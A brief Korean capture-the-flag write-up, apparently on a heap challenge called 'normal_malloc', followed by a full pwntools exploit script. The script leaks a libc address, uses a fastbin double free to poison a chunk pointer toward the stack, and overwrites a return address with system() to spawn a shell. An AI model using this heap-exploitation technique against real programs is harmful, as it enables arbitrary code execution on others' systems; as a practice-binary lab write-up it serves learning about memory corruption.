memset 해야하는데 3번째 인자를 strlen으로 얻은 길이를 사용한다 ㅡ.ㅡ 그래서 자꾸 널이 짤려서 heap에다가 system(bin_sh)를 하려고 했는데 못했다 ㅠㅠ 마지막에 fastbin dup into stack으로 ret을 덮었는데 확인해보니 rdi에 입력값이 들어가있었다!! 그래서 "/bin/sh;" + "A"*16 을 한뒤 ret을 system으로 덮으니 쉘이 따졌다!!!
from pwn import *
s = process("./normal_malloc")
elf = ELF("./normal_malloc")
libc = ELF("./libc.so")
def malloc(size,content):
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("size :")
s.sendline(str(size))
s.recvuntil("data : ")
s.send(content)
def free(index):
s.recvuntil("> ")
s.sendline("2")
s.recvuntil("free : ")
s.sendline(str(index))
def lists(index):
s.recvuntil("> ")
s.sendline("3")
s.recvuntil("see : ")
s.sendline(str(index))
def modify(index,content):
s.recvuntil("> ")
s.sendline("4")
s.recvuntil("modify : ")
s.sendline(str(index))
s.recvuntil("data : ")
s.send(content)
def quit():
s.recvuntil("> ")
s.sendline("5")
lists(7)
s.recvuntil("Address : ")
leak = int(s.recv(14),16) - 240
libc_base = leak - libc.symbols['__libc_start_main']
print "libc_base : " + hex(libc_base)
one_shot = libc_base + 0x45216
bin_sh = libc_base + next(libc.search("/bin/sh\0"))
system = libc_base + libc.symbols['system']
print "one_shot : " + hex(one_shot)
print "bin_sh : " + hex(bin_sh)
print "system : " + hex(system)
lists(9)
s.recvuntil("Address : ")
fangfang = int(s.recv(14),16)
print "hehe : " + hex(fangfang)
fake = fangfang - 0x140
print "fake : " + hex(fake)
malloc(32,"A"*8)
malloc(32,"B"*8)
free(1)
free(2)
free(1)
modify(1,p64(fake-8))
malloc(32,"D"*8)
malloc(49,"/bin/sh;"+"A"*16+p64(system))
s.interactive()